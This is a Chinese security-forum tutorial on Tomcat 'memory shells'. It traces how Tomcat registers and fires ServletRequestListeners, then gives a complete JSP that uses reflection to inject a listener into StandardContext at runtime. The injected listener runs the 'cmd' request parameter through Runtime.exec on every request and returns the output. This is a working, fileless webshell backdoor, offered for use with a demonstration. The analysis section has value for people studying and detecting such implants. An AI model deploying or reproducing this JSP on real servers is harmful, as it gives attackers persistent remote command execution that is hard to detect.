安全矩阵

 找回密码
 立即注册
搜索
查看: 2026|回复: 0

初探Listener内存马

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-4-3 11:42:07 | 显示全部楼层 |阅读模式

Listener基础配置Listener
  1. package com.naihe2;

  2. import javax.servlet.ServletRequestEvent;
  3. import javax.servlet.ServletRequestListener;

  4. public class testListener implements ServletRequestListener {

  5.     public void requestDestroyed(ServletRequestEvent sre) {
  6.         System.out.println("这里是requestDestroyed");
  7.     }

  8.     public void requestInitialized(ServletRequestEvent sre) {
  9.         System.out.println("这里是requestInitialized");
  10.     }
  11. }
复制代码


xml配置
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3C%3Fxml%C2%A0version%3D%5C%221.0%5C%22%C2%A0encoding%3D%5C%22UTF-8%5C%22%3F%3E%5Cn%3Cweb-app%C2%A0xmlns%3D%5C%22http%3A%2F%2Fxmlns.jcp.org%2Fxml%2Fns%2Fjavaee%5C%22%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0xmlns%3Axsi%3D%5C%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%5C%22%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0xsi%3AschemaLocation%3D%5C%22http%3A%2F%2Fxmlns.jcp.org%2Fxml%2Fns%2Fjavaee%C2%A0http%3A%2F%2Fxmlns.jcp.org%2Fxml%2Fns%2Fjavaee%2Fweb-app_4_0.xsd%5C%22%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0version%3D%5C%224.0%5C%22%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0metadata-complete%3D%5C%22false%5C%22%5Cn%3E%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%3Clistener%3E%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Clistener-class%3Ecom.naihe2.testListener%3C%2Flistener-class%3E%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%3C%2Flistener%3E%5Cn%5Cn%3C%2Fweb-app%3E%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"><?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5.          version="4.0"
  6.          metadata-complete="false"
  7. >

  8.     <listener>
  9.         <listener-class>com.naihe2.testListener</listener-class>
  10.     </listener>

  11. </web-app>
  12. </code></pre>
  13. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码


流程分析
​​

读取配置文件


读取web.xml,处理后将信息存储在webXml中


配置context

直接遍历并添加至addApplication中







以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener
接下来直接跟进到listenerStart
获取所有listeners


反射生成了一个testListener对象,及我们自定义的Listener



遍历results中的自定义Listener并添加到eventListeners





将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出





调用过程
在自定义的Listener的requestDestroyed下断点


可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent





这里直接获取applicationEventListenersList属性




遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型



这里直接调用 requestDestroyed方法


对应这自定义的Listener


接下来如何动态添加Listener 在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法 addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList


由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response


内存马
  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <html>
  3. <head>
  4.     <title>Title</title>
  5. </head>
  6. <body>
  7. <%@ page import="org.apache.catalina.core.StandardContext" %>
  8. <%@ page import="java.lang.reflect.Field" %>
  9. <%@ page import="org.apache.catalina.connector.Request" %>
  10. <%@ page import="java.io.InputStream" %>
  11. <%@ page import="java.util.Scanner" %>
  12. <%@ page import="java.io.IOException" %>
  13. <%@ page import="java.io.BufferedInputStream" %>
  14. <%@ page import="org.apache.catalina.connector.Response" %>

  15. <%!
  16.     public class DemoListener implements ServletRequestListener{

  17.         public void requestDestroyed(ServletRequestEvent sre) {
  18.             org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
  19.             Field requestField = null;
  20.             try {
  21.                 requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
  22.             } catch (NoSuchFieldException e) {
  23.                 e.printStackTrace();
  24.             } catch (ClassNotFoundException e) {
  25.                 e.printStackTrace();
  26.             }
  27.             requestField.setAccessible(true);
  28.             Request request = null;
  29.             try {
  30.                 request = (Request) requestField.get(req);
  31.             } catch (IllegalAccessException e) {
  32.                 e.printStackTrace();
  33.             }
  34.             Response response = request.getResponse();

  35.             try {
  36.                 String cmd = request.getParameter("cmd");
  37.                 InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
  38.                 BufferedInputStream bis = new BufferedInputStream(is);
  39.                 int len;
  40.                 while ((len = bis.read())!=-1){
  41.                     response.getWriter().write(len);
  42.                 }
  43.             } catch (IOException e) {
  44.                 e.printStackTrace();
  45.             }

  46.         }
  47.         public void requestInitialized(ServletRequestEvent sre) {
  48.             System.out.println("这里是requestInitialized");
  49.         }
  50.     }
  51. %>

  52. <%
  53.     Field reqF = request.getClass().getDeclaredField("request");
  54.     reqF.setAccessible(true);
  55.     Request req = (Request) reqF.get(request);
  56.     StandardContext context = (StandardContext) req.getContext();
  57.     DemoListener listener = new DemoListener();
  58.     context.addApplicationEventListener(listener);
  59. %>
  60. </body>
  61. </html>
复制代码


效果展示随便访问一个页面


在访问我们的内存马网页 这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的



再次访问之前不存在的网页



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:39 , Processed in 0.013294 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表